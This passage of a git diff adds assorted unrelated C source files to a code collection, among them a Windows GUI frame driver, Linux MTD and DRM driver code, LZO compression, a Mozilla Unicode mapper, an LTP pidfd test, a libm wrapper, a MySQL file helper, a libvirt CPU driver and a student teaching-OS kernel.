+    hOldFont = SelectObject(hDC, hFont);
+    {
+      TCHAR* str = iupwinStrToSystem(title);
+      int len = lstrlen(str);
+      GetTextExtentPoint32(hDC, str, len, &size);
+    }
+    ExcludeClipRect(hDC, x-2, y, x+size.cx+2, y+size.cy);
+
+    drawitem->rcItem.top += txt_height/2;
+    if (iupwin_comctl32ver6)
+      iupwinDrawThemeFrameBorder(ih->handle, hDC, &drawitem->rcItem, drawitem->itemState);
+    else
+      DrawEdge(hDC, &drawitem->rcItem, EDGE_ETCHED, BF_RECT);
+
+    SelectClipRgn(hDC, NULL);
+
+    if (drawitem->itemState & ODS_DISABLED)
+      fgcolor = GetSysColor(COLOR_GRAYTEXT);
+    else
+    {
+      unsigned char r, g, b;
+      char* color = iupAttribGetInherit(ih, "FGCOLOR");
+      if (!color)
+      {
+        if (!iupwinDrawGetThemeFrameFgColor(ih->handle, &fgcolor))
+          fgcolor = 0;  /* black */
+      }
+      else
+      {
+        if (iupStrToRGB(color, &r, &g, &b))
+          fgcolor = RGB(r,g,b);
+        else
+          fgcolor = 0;  /* black */
+      }
+    }
+
+    winFrameDrawText(hDC, title, x, y, fgcolor);
+
+    SelectObject(hDC, hOldFont);
+  }
+  else
+  {
+    char* value = iupAttribGetStr(ih, "SUNKEN");
+    if (iupStrBoolean(value))
+      DrawEdge(hDC, &drawitem->rcItem, EDGE_SUNKEN, BF_RECT);
+    else
+      DrawEdge(hDC, &drawitem->rcItem, EDGE_ETCHED, BF_RECT);
+
+    if (iupAttribGet(ih, "_IUPFRAME_HAS_BGCOLOR"))
+    {
+      unsigned char r=0, g=0, b=0;
+      char* color = iupAttribGetStr(ih, "BGCOLOR");
+      iupStrToRGB(color, &r, &g, &b);
+      SetDCBrushColor(hDC, RGB(r,g,b));
+      InflateRect(&drawitem->rcItem, -2, -2);
+      FillRect(hDC, &drawitem->rcItem, (HBRUSH)GetStockObject(DC_BRUSH));
+    }
+  }
+
+  iupwinDrawDestroyBitmapDC(&bmpDC);
+}
+
+static int winFrameMsgProc(Ihandle* ih, UINT msg, WPARAM wp, LPARAM lp, LRESULT *result)
+{
+  switch (msg)
+  {
+  case WM_GETDLGCODE:
+    {
+      *result = DLGC_STATIC;  /* same return as GROUPBOX */
+      return 1;
+    }
+  case WM_NCHITTEST:
+    {
+      *result = HTTRANSPARENT;  /* same return as GROUPBOX */
+      return 1;
+    }
+  case WM_ERASEBKGND:
+    {
+      /* just to ignore the internal processing */
+      *result = 1;
+      return 1;
+    }
+  }
+
+  return iupwinBaseContainerMsgProc(ih, msg, wp, lp, result);
+}
+
+static int winFrameMapMethod(Ihandle* ih)
+{
+  char *title;
+  DWORD dwStyle = WS_CHILD|WS_CLIPSIBLINGS|
+                  BS_OWNERDRAW, /* owner draw necessary because BS_GROUPBOX does not work ok */
+      dwExStyle = 0;
+
+  if (!ih->parent)
+    return IUP_ERROR;
+
+  title = iupAttribGet(ih, "TITLE");
+  if (title)
+    iupAttribSet(ih, "_IUPFRAME_HAS_TITLE", "1");
+  else
+  {
+    if (iupAttribGet(ih, "BGCOLOR"))
+      iupAttribSet(ih, "_IUPFRAME_HAS_BGCOLOR", "1");
+  }
+
+  iupwinGetNativeParentStyle(ih, &dwExStyle, &dwStyle);
+
+  if (!iupwinCreateWindow(ih, WC_BUTTON, dwExStyle, dwStyle, NULL))
+    return IUP_ERROR;
+
+  /* replace the WinProc to handle other messages */
+  IupSetCallback(ih, "_IUPWIN_CTRLMSGPROC_CB", (Icallback)winFrameMsgProc);
+
+  /* Process WM_DRAWITEM */
+  IupSetCallback(ih, "_IUPWIN_DRAWITEM_CB", (Icallback)winFrameDrawItem);  
+
+  return IUP_NOERROR;
+}
+
+void iupdrvFrameInitClass(Iclass* ic)
+{
+  /* Driver Dependent Class functions */
+  ic->Map = winFrameMapMethod;
+
+  /* Driver Dependent Attribute functions */
+
+  /* Visual */
+  iupClassRegisterAttribute(ic, "BGCOLOR", iupFrameGetBgColorAttrib, winFrameSetBgColorAttrib, IUPAF_SAMEASSYSTEM, "DLGBGCOLOR", IUPAF_DEFAULT);  
+
+  /* Special */
+  iupClassRegisterAttribute(ic, "FGCOLOR", NULL, NULL, IUPAF_SAMEASSYSTEM, "DLGFGCOLOR", IUPAF_NOT_MAPPED);
+  iupClassRegisterAttribute(ic, "TITLE", NULL, winFrameSetTitleAttrib, NULL, NULL, IUPAF_NO_DEFAULTVALUE|IUPAF_NO_INHERIT);
+}
diff --git a/pool/shard001/C/0025999_tsunami_flash.c b/pool/shard001/C/0025999_tsunami_flash.c
new file mode 100644
index 0000000000000000000000000000000000000000..0f915ac3102e21dba8a8b9fc5c9a5624f20ff183
--- /dev/null
+++ b/pool/shard001/C/0025999_tsunami_flash.c
@@ -0,0 +1,108 @@
+/*
+ * tsunami_flash.c
+ *
+ * flash chip on alpha ds10...
+ * $Id: tsunami_flash.c,v 1.10 2005/11/07 11:14:29 gleixner Exp $
+ */
+#include <asm/io.h>
+#include <asm/core_tsunami.h>
+#include <linux/init.h>
+#include <linux/mtd/map.h>
+#include <linux/mtd/mtd.h>
+
+#define FLASH_ENABLE_PORT 0x00C00001
+#define FLASH_ENABLE_BYTE 0x01
+#define FLASH_DISABLE_BYTE 0x00
+
+#define MAX_TIG_FLASH_SIZE (12*1024*1024)
+static inline map_word tsunami_flash_read8(struct map_info *map, unsigned long offset)
+{
+	map_word val;
+	val.x[0] = tsunami_tig_readb(offset);
+	return val;
+}
+
+static void tsunami_flash_write8(struct map_info *map, map_word value, unsigned long offset)
+{
+	tsunami_tig_writeb(value.x[0], offset);
+}
+
+static void tsunami_flash_copy_from(
+	struct map_info *map, void *addr, unsigned long offset, ssize_t len)
+{
+	unsigned char *dest;
+	dest = addr;
+	while(len && (offset < MAX_TIG_FLASH_SIZE)) {
+		*dest = tsunami_tig_readb(offset);
+		offset++;
+		dest++;
+		len--;
+	}
+}
+
+static void tsunami_flash_copy_to(
+	struct map_info *map, unsigned long offset,
+	const void *addr, ssize_t len)
+{
+	const unsigned char *src;
+	src = addr;
+	while(len && (offset < MAX_TIG_FLASH_SIZE)) {
+		tsunami_tig_writeb(*src, offset);
+		offset++;
+		src++;
+		len--;
+	}
+}
+
+/*
+ * Deliberately don't provide operations wider than 8 bits.  I don't
+ * have then and it scares me to think how you could mess up if
+ * you tried to use them.   Buswidth is correctly so I'm safe.
+ */
+static struct map_info tsunami_flash_map = {
+	.name = "flash chip on the Tsunami TIG bus",
+	.size = MAX_TIG_FLASH_SIZE,
+	.phys = NO_XIP,
+	.bankwidth = 1,
+	.read = tsunami_flash_read8,
+	.copy_from = tsunami_flash_copy_from,
+	.write = tsunami_flash_write8,
+	.copy_to = tsunami_flash_copy_to,
+};
+
+static struct mtd_info *tsunami_flash_mtd;
+
+static void __exit  cleanup_tsunami_flash(void)
+{
+	struct mtd_info *mtd;
+	mtd = tsunami_flash_mtd;
+	if (mtd) {
+		del_mtd_device(mtd);
+		map_destroy(mtd);
+	}
+	tsunami_flash_mtd = 0;
+}
+
+
+static int __init init_tsunami_flash(void)
+{
+	static const char *rom_probe_types[] = { "cfi_probe", "jedec_probe", "map_rom", NULL };
+	char **type;
+
+	tsunami_tig_writeb(FLASH_ENABLE_BYTE, FLASH_ENABLE_PORT);
+
+	tsunami_flash_mtd = 0;
+	type = rom_probe_types;
+	for(; !tsunami_flash_mtd && *type; type++) {
+		tsunami_flash_mtd = do_map_probe(*type, &tsunami_flash_map);
+	}
+	if (tsunami_flash_mtd) {
+		tsunami_flash_mtd->owner = THIS_MODULE;
+		add_mtd_device(tsunami_flash_mtd);
+		return 0;
+	}
+	return -ENXIO;
+}
+
+module_init(init_tsunami_flash);
+module_exit(cleanup_tsunami_flash);
diff --git a/pool/shard001/C/0026005_task1.c b/pool/shard001/C/0026005_task1.c
new file mode 100644
index 0000000000000000000000000000000000000000..0540e4ab902acc5caa7ae5bd5dcce16f28a26e9f
--- /dev/null
+++ b/pool/shard001/C/0026005_task1.c
@@ -0,0 +1,39 @@
+#include <stdio.h>
+
+void minmax(int *arr, int size, int *min, int *max);
+
+int main(int argc, const char * argv[]) {
+    
+    int n;
+    int nums[500];
+    scanf(" %d", &n);
+    
+    int i;
+    for (i = 0; i < n; i++) {
+        scanf(" %d", &nums[i]);
+    }
+    
+    int min, max;
+    minmax(nums, n, &min, &max);
+    
+    printf("%d\n", min + max);
+    
+    return 0;
+}
+
+void minmax(int *arr, int size, int *min, int *max) {
+    int minimun = *arr, maximum = *arr;
+    
+    int i;
+    for (i = 1; i < size; i++) {
+        if (minimun > arr[i]) {
+            minimun = arr[i];
+        }
+        if (maximum < arr[i]) {
+            maximum = arr[i];
+        }
+    }
+    
+    *min = minimun;
+    *max = maximum;
+}
diff --git a/pool/shard001/C/0026007_lzo1b_xx.c b/pool/shard001/C/0026007_lzo1b_xx.c
new file mode 100644
index 0000000000000000000000000000000000000000..56f300662aebd0f99a48e40ea04eb419669ce085
--- /dev/null
+++ b/pool/shard001/C/0026007_lzo1b_xx.c
@@ -0,0 +1,82 @@
+/* lzo1b_xx.c -- LZO1B compression public entry point
+
+   This file is part of the LZO real-time data compression library.
+
+   Copyright (C) 1996-2015 Markus Franz Xaver Johannes Oberhumer
+   All Rights Reserved.
+
+   The LZO library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU General Public License as
+   published by the Free Software Foundation; either version 2 of
+   the License, or (at your option) any later version.
+
+   The LZO library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   GNU General Public License for more details.
+
+   You should have received a copy of the GNU General Public License
+   along with the LZO library; see the file COPYING.
+   If not, write to the Free Software Foundation, Inc.,
+   51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
+
+   Markus F.X.J. Oberhumer
+   <markus@oberhumer.com>
+   http://www.oberhumer.com/opensource/lzo/
+ */
+
+
+#include "config1b.h"
+
+
+/***********************************************************************
+//
+************************************************************************/
+
+static const lzo_compress_t * const c_funcs [9] =
+{
+    &_lzo1b_1_compress_func,
+    &_lzo1b_2_compress_func,
+    &_lzo1b_3_compress_func,
+    &_lzo1b_4_compress_func,
+    &_lzo1b_5_compress_func,
+    &_lzo1b_6_compress_func,
+    &_lzo1b_7_compress_func,
+    &_lzo1b_8_compress_func,
+    &_lzo1b_9_compress_func
+};
+
+
+static lzo_compress_t lzo1b_get_compress_func(int clevel)
+{
+    const lzo_compress_t *f;
+
+    if (clevel < LZO1B_BEST_SPEED || clevel > LZO1B_BEST_COMPRESSION)
+    {
+        if (clevel == LZO1B_DEFAULT_COMPRESSION)
+            clevel = LZO1B_BEST_SPEED;
+        else
+            return (lzo_compress_t) 0;
+    }
+    f = c_funcs[clevel-1];
+    assert(f && *f);
+    return *f;
+}
+
+
+LZO_PUBLIC(int)
+lzo1b_compress ( const lzo_bytep src, lzo_uint  src_len,
+                       lzo_bytep dst, lzo_uintp dst_len,
+                       lzo_voidp wrkmem,
+                       int clevel )
+{
+    lzo_compress_t f;
+
+    f = lzo1b_get_compress_func(clevel);
+    if (!f)
+        return LZO_E_ERROR;
+    return _lzo1b_do_compress(src,src_len,dst,dst_len,wrkmem,f);
+}
+
+
+/* vim:set ts=4 sw=4 et: */
diff --git a/pool/shard001/C/0026008_umap.c b/pool/shard001/C/0026008_umap.c
new file mode 100644
index 0000000000000000000000000000000000000000..43a41e5917e8f294e6db689758be3e9a0839098e
--- /dev/null
+++ b/pool/shard001/C/0026008_umap.c
@@ -0,0 +1,175 @@
+/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+/* #include "PRIntlpriv.h" */
+#include "unicpriv.h" 
+
+
+typedef uint16_t (* MapFormatFunc)(uint16_t in,const uTable *uT,const uMapCell *cell);
+typedef int (* HitFormateFunc)(uint16_t in,const uMapCell *cell);
+typedef void (* FillInfoFormateFunc)(const uTable *uT, const uMapCell *cell, uint32_t* info);
+
+
+int uHitFormate0(uint16_t in,const uMapCell *cell);
+int uHitFormate2(uint16_t in,const uMapCell *cell);
+uint16_t uMapFormate0(uint16_t in,const uTable *uT,const uMapCell *cell);
+uint16_t uMapFormate1(uint16_t in,const uTable *uT,const uMapCell *cell);
+uint16_t uMapFormate2(uint16_t in,const uTable *uT,const uMapCell *cell);
+void uFillInfoFormate0(const uTable *uT,const uMapCell *cell,uint32_t* aInfo);
+void uFillInfoFormate1(const uTable *uT,const uMapCell *cell,uint32_t* aInfo);
+void uFillInfoFormate2(const uTable *uT,const uMapCell *cell,uint32_t* aInfo);
+
+
+const uMapCell *uGetMapCell(const uTable *uT, int16_t item);
+char uGetFormat(const uTable *uT, int16_t item);
+
+
+/*=================================================================================
+
+=================================================================================*/
+const MapFormatFunc m_map[uNumFormatTag] =
+{
+    uMapFormate0,
+    uMapFormate1,
+    uMapFormate2,
+};
+
+/*=================================================================================
+
+=================================================================================*/
+const FillInfoFormateFunc m_fillinfo[uNumFormatTag] =
+{
+    uFillInfoFormate0,
+    uFillInfoFormate1,
+    uFillInfoFormate2,
+};
+
+/*=================================================================================
+
+=================================================================================*/
+const HitFormateFunc m_hit[uNumFormatTag] =
+{
+    uHitFormate0,
+    uHitFormate0,
+    uHitFormate2,
+};
+
+#define uHit(format,in,cell)   (* m_hit[(format)])((in),(cell))
+#define uMap(format,in,uT,cell)  (* m_map[(format)])((in),(uT),(cell))
+#define uGetMapCell(uT, item) ((uMapCell *)(((uint16_t *)uT) + (uT)->offsetToMapCellArray + (item)*(UMAPCELL_SIZE/sizeof(uint16_t))))
+#define uGetFormat(uT, item) (((((uint16_t *)uT) + (uT)->offsetToFormatArray)[(item)>> 2 ] >> (((item)% 4 ) << 2)) & 0x0f)
+
+/*=================================================================================
+
+=================================================================================*/
+int uMapCode(const uTable *uT, uint16_t in, uint16_t* out)
+{
+  int done = 0;
+  uint16_t itemOfList = uT->itemOfList;
+  uint16_t i;
+  *out = NOMAPPING;
+  for(i=0;i<itemOfList;i++)
+  {
+    const uMapCell* uCell;
+    int8_t format = uGetFormat(uT,i);
+    uCell = uGetMapCell(uT,i);
+    if(uHit(format, in, uCell))
+    {
+      *out = uMap(format, in, uT,uCell);
+      done = 1;
+      break;
+    }
+  }
+  return ( done && (*out != NOMAPPING));
+}
+
+
+/*
+member function
+*/
+/*=================================================================================
+
+=================================================================================*/
+int uHitFormate0(uint16_t in,const uMapCell *cell)
+{
+  return ( (in >= cell->fmt.format0.srcBegin) &&
+    (in <= cell->fmt.format0.srcEnd) ) ;
+}
+/*=================================================================================
+
+=================================================================================*/
+int uHitFormate2(uint16_t in,const uMapCell *cell)
+{
+  return (in == cell->fmt.format2.srcBegin);
+}
+/*=================================================================================
+
+=================================================================================*/
+uint16_t uMapFormate0(uint16_t in,const uTable *uT,const uMapCell *cell)
+{
+  return ((in - cell->fmt.format0.srcBegin) + cell->fmt.format0.destBegin);
+}
+/*=================================================================================
+
+=================================================================================*/
+uint16_t uMapFormate1(uint16_t in,const uTable *uT,const uMapCell *cell)
+{
+  return (*(((uint16_t *)uT) + uT->offsetToMappingTable
+    + cell->fmt.format1.mappingOffset + in - cell->fmt.format1.srcBegin));
+}
+/*=================================================================================
+
+=================================================================================*/
+uint16_t uMapFormate2(uint16_t in,const uTable *uT,const uMapCell *cell)
+{
+  return (cell->fmt.format2.destBegin);
+}
+
+#define SET_REPRESENTABLE(info, c)  (info)[(c) >> 5] |= (1L << ((c) & 0x1f))
+/*=================================================================================
+
+=================================================================================*/
+void uFillInfoFormate0(const uTable *uT,const uMapCell *cell,uint32_t* info)
+{
+  uint16_t begin, end, i;
+  begin = cell->fmt.format0.srcBegin;
+  end = cell->fmt.format0.srcEnd;
+  if( (begin >> 5) == (end >> 5)) /* High 17 bits are the same */
+  {
+    for(i = begin; i <= end; i++)
+      SET_REPRESENTABLE(info, i);
+  } 
+  else {
+    uint32_t b = begin >> 5;
+    uint32_t e = end >> 5;
+    info[ b ] |= (0xFFFFFFFFL << ((begin) & 0x1f)); 
+    info[ e ] |= (0xFFFFFFFFL >> (31 - ((end) & 0x1f)));
+    for(b++ ; b < e ; b++)
+      info[b] |= 0xFFFFFFFFL;
+  }
+}
+/*=================================================================================
+
+=================================================================================*/
+void uFillInfoFormate1(const uTable *uT,const uMapCell *cell,uint32_t* info)
+{
+  uint16_t begin, end, i;
+  uint16_t *base;
+  begin = cell->fmt.format0.srcBegin;
+  end = cell->fmt.format0.srcEnd;
+  base = (((uint16_t *)uT) + uT->offsetToMappingTable + cell->fmt.format1.mappingOffset);
+  for(i = begin; i <= end; i++) 
+  {
+    if(0xFFFD != base[i - begin])  /* check every item */
+      SET_REPRESENTABLE(info, i);
+  }
+}
+/*=================================================================================
+
+=================================================================================*/
+void uFillInfoFormate2(const uTable *uT,const uMapCell *cell,uint32_t* info)
+{
+  SET_REPRESENTABLE(info, cell->fmt.format2.srcBegin);
+}
+
diff --git a/pool/shard001/C/0026023_pidfd_open01.c b/pool/shard001/C/0026023_pidfd_open01.c
new file mode 100644
index 0000000000000000000000000000000000000000..c0e88647fcb8032cd069863f4c99bfb32f7861bc
--- /dev/null
+++ b/pool/shard001/C/0026023_pidfd_open01.c
@@ -0,0 +1,42 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2020 Viresh Kumar <viresh.kumar@linaro.org>
+ */
+
+/*\
+ * [Description]
+ *
+ * Basic pidfd_open() test:
+ *
+ * - Fetch the PID of the current process and try to get its file descriptor.
+ * - Check that the close-on-exec flag is set on the file descriptor.
+ */
+
+#include <unistd.h>
+#include <fcntl.h>
+#include "tst_test.h"
+#include "lapi/pidfd_open.h"
+
+static void run(void)
+{
+	int flag;
+
+	TST_EXP_FD_SILENT(pidfd_open(getpid(), 0), "pidfd_open(getpid(), 0)");
+
+	flag = fcntl(TST_RET, F_GETFD);
+
+	SAFE_CLOSE(TST_RET);
+
+	if (flag == -1)
+		tst_brk(TFAIL | TERRNO, "fcntl(F_GETFD) failed");
+
+	if (!(flag & FD_CLOEXEC))
+		tst_brk(TFAIL, "pidfd_open(getpid(), 0) didn't set close-on-exec flag");
+
+	tst_res(TPASS, "pidfd_open(getpid(), 0) passed");
+}
+
+static struct tst_test test = {
+	.setup = pidfd_open_supported,
+	.test_all = run,
+};
diff --git a/pool/shard001/C/0026027_w_expf.c b/pool/shard001/C/0026027_w_expf.c
new file mode 100644
index 0000000000000000000000000000000000000000..c99e136aaee9a058298c951a1b6fc750d69384e4
--- /dev/null
+++ b/pool/shard001/C/0026027_w_expf.c
@@ -0,0 +1,56 @@
+/* w_expf.c -- float version of w_exp.c.
+ * Conversion to float by Ian Lance Taylor, Cygnus Support, ian@cygnus.com.
+ */
+
+/*
+ * ====================================================
+ * Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved.
+ *
+ * Developed at SunPro, a Sun Microsystems, Inc. business.
+ * Permission to use, copy, modify, and distribute this
+ * software is freely granted, provided that this notice
+ * is preserved.
+ * ====================================================
+ */
+
+#include <sys/cdefs.h>
+#if defined(LIBM_SCCS) && !defined(lint)
+__RCSID("$NetBSD: w_expf.c,v 1.7 2007/08/20 16:01:40 drochner Exp $");
+#endif
+
+/*
+ * wrapper expf(x)
+ */
+
+#include "namespace.h"
+#include "math.h"
+#include "math_private.h"
+
+#ifdef __weak_alias
+__weak_alias(expf, _expf)
+#endif
+
+static const float
+o_threshold=  8.8721679688e+01,  /* 0x42b17180 */
+u_threshold= -1.0397208405e+02;  /* 0xc2cff1b5 */
+
+float
+expf(float x)		/* wrapper expf */
+{
+#ifdef _IEEE_LIBM
+	return __ieee754_expf(x);
+#else
+	float z;
+	z = __ieee754_expf(x);
+	if(_LIB_VERSION == _IEEE_) return z;
+	if(finitef(x)) {
+	    if(x>o_threshold)
+	        /* exp overflow */
+	        return (float)__kernel_standard((double)x,(double)x,106);
+	    else if(x<u_threshold)
+	        /* exp underflow */
+	        return (float)__kernel_standard((double)x,(double)x,107);
+	}
+	return z;
+#endif
+}
diff --git a/pool/shard001/C/0026034_my_create.c b/pool/shard001/C/0026034_my_create.c
new file mode 100644
index 0000000000000000000000000000000000000000..51de343d4a107f2125be5ca088eb926e646346cd
--- /dev/null
+++ b/pool/shard001/C/0026034_my_create.c
@@ -0,0 +1,74 @@
+/* Copyright (c) 2000, 2001, 2005-2008 MySQL AB, 2009 Sun Microsystems, Inc.
+   Use is subject to license terms.
+
+   This program is free software; you can redistribute it and/or modify
+   it under the terms of the GNU General Public License as published by
+   the Free Software Foundation; version 2 of the License.
+
+   This program is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   GNU General Public License for more details.
+
+   You should have received a copy of the GNU General Public License
+   along with this program; if not, write to the Free Software
+   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301  USA */
+
+#include "mysys_priv.h"
+#include <my_dir.h>
+#include "mysys_err.h"
+#include <errno.h>
+#include <my_sys.h>
+#if defined(_WIN32)
+#include <share.h>
+#endif
+
+	/*
+	** Create a new file
+	** Arguments:
+	** Path-name of file
+	** Read | write on file (umask value)
+	** Read & Write on open file
+	** Special flags
+	*/
+
+
+File my_create(const char *FileName, int CreateFlags, int access_flags,
+	       myf MyFlags)
+{
+  int fd, rc;
+  DBUG_ENTER("my_create");
+  DBUG_PRINT("my",("Name: '%s' CreateFlags: %d  AccessFlags: %d  MyFlags: %lu",
+		   FileName, CreateFlags, access_flags, MyFlags));
+#if defined(_WIN32)
+  fd= my_win_open(FileName, access_flags | O_CREAT);
+#else
+  fd= open((char *) FileName, access_flags | O_CREAT,
+	    CreateFlags ? CreateFlags : my_umask);
+#endif
+
+  if ((MyFlags & MY_SYNC_DIR) && (fd >=0) &&
+      my_sync_dir_by_file(FileName, MyFlags))
+  {
+    my_close(fd, MyFlags);
+    fd= -1;
+  }
+
+  rc= my_register_filename(fd, FileName, FILE_BY_CREATE,
+                           EE_CANTCREATEFILE, MyFlags);
+  /*
+    my_register_filename() may fail on some platforms even if the call to
+    *open() above succeeds. In this case, don't leave the stale file because
+    callers assume the file to not exist if my_create() fails, so they don't
+    do any cleanups.
+  */
+  if (unlikely(fd >= 0 && rc < 0))
+  {
+    int tmp= my_errno;
+    my_close(fd, MyFlags);
+    my_delete(FileName, MyFlags);
+    my_errno= tmp;
+  }
+  
+  DBUG_RETURN(rc);
+} /* my_create */
diff --git a/pool/shard001/C/0026036_cpu_aarch64.c b/pool/shard001/C/0026036_cpu_aarch64.c
new file mode 100644
index 0000000000000000000000000000000000000000..3959deb4cc0ef1d747047fedff2e13c511342478
--- /dev/null
+++ b/pool/shard001/C/0026036_cpu_aarch64.c
@@ -0,0 +1,79 @@
+/*
+ * cpu_aarch64.c: CPU driver for AArch64 CPUs
+ *
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library.  If not, see
+ * <http://www.gnu.org/licenses/>.
+ *
+ * Authors:
+ *      Anup Patel <anup.patel@linaro.org>
+ *      Pranavkumar Sawargaonkar <pranavkumar@linaro.org>
+ */
+
+#include <config.h>
+
+#include "viralloc.h"
+#include "cpu.h"
+
+#define VIR_FROM_THIS VIR_FROM_CPU
+
+static const virArch archs[] = { VIR_ARCH_AARCH64 };
+
+static virCPUDataPtr
+AArch64NodeData(virArch arch)
+{
+    virCPUDataPtr data;
+
+    if (VIR_ALLOC(data) < 0)
+        return NULL;
+
+    data->arch = arch;
+
+    return data;
+}
+
+static int
+AArch64Decode(virCPUDefPtr cpu ATTRIBUTE_UNUSED,
+          const virCPUData *data ATTRIBUTE_UNUSED,
+          const char **models ATTRIBUTE_UNUSED,
+          unsigned int nmodels ATTRIBUTE_UNUSED,
+          const char *preferred ATTRIBUTE_UNUSED,
+          unsigned int flags)
+{
+
+    virCheckFlags(VIR_CONNECT_BASELINE_CPU_EXPAND_FEATURES, -1);
+
+    return 0;
+}
+
+static void
+AArch64DataFree(virCPUDataPtr data)
+{
+    VIR_FREE(data);
+}
+
+struct cpuArchDriver cpuDriverAARCH64 = {
+    .name = "aarch64",
+    .arch = archs,
+    .narch = ARRAY_CARDINALITY(archs),
+    .compare = NULL,
+    .decode = AArch64Decode,
+    .encode = NULL,
+    .free = AArch64DataFree,
+    .nodeData = AArch64NodeData,
+    .guestData = NULL,
+    .baseline = NULL,
+    .update = NULL,
+    .hasFeature = NULL,
+};
diff --git a/pool/shard001/C/0026041_main.c b/pool/shard001/C/0026041_main.c
new file mode 100644
index 0000000000000000000000000000000000000000..eec4ac65e3b998ef78d95932f2cad933eeeb9f7b
--- /dev/null
+++ b/pool/shard001/C/0026041_main.c
@@ -0,0 +1,138 @@
+// TrapFrame/main.c, 159
+//
+// The solution of phase 1
+
+//some include statements...
+//then declare global data structures...
+
+#include "main.h"
+#include "spede.h"
+#include "isr.h"
+#include "q_mgmt.h"
+#include "externs.h"
+#include "proc.h" // SimpleProc()
+#include "entry.h"
+
+// globals:
+int cur_pid;                        // current running PID, -1 means no process
+q_t ready_q, avail_q;               // processes ready to run and not used
+pcb_t pcbs[NUM_PROC];               // process table
+char user_stacks[NUM_PROC][USER_STACK_SIZE]; // run-time stacks for processes
+
+struct i386_gate *idt_table;
+
+
+void main()
+{
+	//Call InitData() to initialize kernel data structure like in SimulCode
+	InitData();
+	
+	cur_pid = 0; // select IdleProc, the only available process to run
+	SpawnISR(0);
+	
+	InitControl();
+	
+	Loader(pcbs[0].tf_p);
+}
+
+
+// prime IDT with an entry
+void SetIDTEntry(int entry_num, func_ptr_t entry_addr)
+{
+	struct i386_gate *gateptr = &idt_table[entry_num];
+	fill_gate(gateptr, (int)entry_addr, get_cs(), ACC_INTR_GATE, 0);
+}
+
+
+// InitControl()for setting up the timer interrupt
+void InitControl()
+{	
+	
+	idt_table = get_idt_base(); // get where IDT is in RAM
+	cons_printf("IDT is at memory location %u.\n", idt_table);
+	
+	SetIDTEntry(32, TimerEntry); // prime IDT with an entry
+	
+	outportb(0x21, ~0x01); // 0x21 PIC mask resgister, ~0x01 mask value
+	
+	//EI(); // exec CPU instruction "sti" to enable intr bit in CPU EFLAGS register
+}
+
+
+// InitData()
+void InitData()
+{
+	int i;
+	
+
+	// queue initializations, both queues are empty first
+	InitQ(&avail_q);
+	InitQ(&ready_q);
+
+	for(i=1; i<NUM_PROC; i++) // init pcbs[], skip 0 since it's Idle Proc
+	{
+		pcbs[i].state = AVAIL;
+		EnQ(i, &avail_q);
+	}
+
+	cur_pid = -1;  // no process is running initially
+}
+
+
+// this is kernel's process scheduler, simple round robin
+void Scheduler() 
+{
+   if(cur_pid > 0) return; // when cur_pid is not 0 (IdleProc) or -1 (none)
+
+   if(cur_pid == 0) pcbs[0].state = READY; // skip when cur_pid is -1
+
+   if(EmptyQ(&ready_q)) cur_pid = 0; // ready q empty, use IdleProc
+   else cur_pid = DeQ(&ready_q);     // or get 1st process from ready_q
+
+   pcbs[cur_pid].state = RUN;   // RUN state for newly selected process
+}
+
+
+void Kernel(tf_t *tf_p) // kernel directly enters here when interrupt occurs
+{
+	char key;
+	
+	pcbs[cur_pid].tf_p = tf_p;
+	
+	// tf_p->intr_id tells what intr made CPU get here, pushed in entry.S
+	switch(tf_p->intr_id)
+	{
+		case TIMER_INTR:
+			TimerISR(); // this must include dismissal of timer interrupt
+			break;
+	}
+
+	// still handles other keyboard-generated simulated events
+	if(cons_kbhit()) // check if a key was pressed (returns non zero)
+	{
+		//Use cons_getchar() to get the key pressed (char type)
+		key = cons_getchar(); // get the pressed key
+		
+		switch(key)
+		{
+			// on the type of key pressed, perform the associated ISR
+			// but _NO_ TimerISR here (which occurs by itself automatically)
+			case 'n':
+			if(EmptyQ(&avail_q))
+				cons_printf("No more process!\n");
+			else
+				{
+					cur_pid = DeQ(&avail_q);
+					SpawnISR(cur_pid);
+				}
+			break;
+			case 'k': KillISR(); break;
+			case 's': ShowStatusISR(); break;
+			case 'b': breakpoint(); break; // this stops when run in GDB mode
+			case 'q': exit(0);
+		} // switch(key)
+	} // if(cons_kbhit())
+
+	Scheduler();                // select a process to run
+	Loader(pcbs[cur_pid].tf_p); // run the process selected
+}
diff --git a/pool/shard001/C/0026042_arcpgu_drv.c b/pool/shard001/C/0026042_arcpgu_drv.c
new file mode 100644
index 0000000000000000000000000000000000000000..f164818ec477a5dfbf694231d400ed0b6c4e3d03
--- /dev/null
+++ b/pool/shard001/C/0026042_arcpgu_drv.c
@@ -0,0 +1,224 @@
+// SPDX-License-Identifier: GPL-2.0-only
+/*
+ * ARC PGU DRM driver.
+ *
+ * Copyright (C) 2016 Synopsys, Inc. (www.synopsys.com)
+ */
+
+#include <linux/clk.h>
+#include <drm/drm_atomic_helper.h>
+#include <drm/drm_debugfs.h>
+#include <drm/drm_device.h>
+#include <drm/drm_drv.h>
+#include <drm/drm_fb_cma_helper.h>
+#include <drm/drm_fb_helper.h>
+#include <drm/drm_gem_cma_helper.h>
+#include <drm/drm_gem_framebuffer_helper.h>
+#include <drm/drm_of.h>
+#include <drm/drm_probe_helper.h>
+#include <linux/dma-mapping.h>
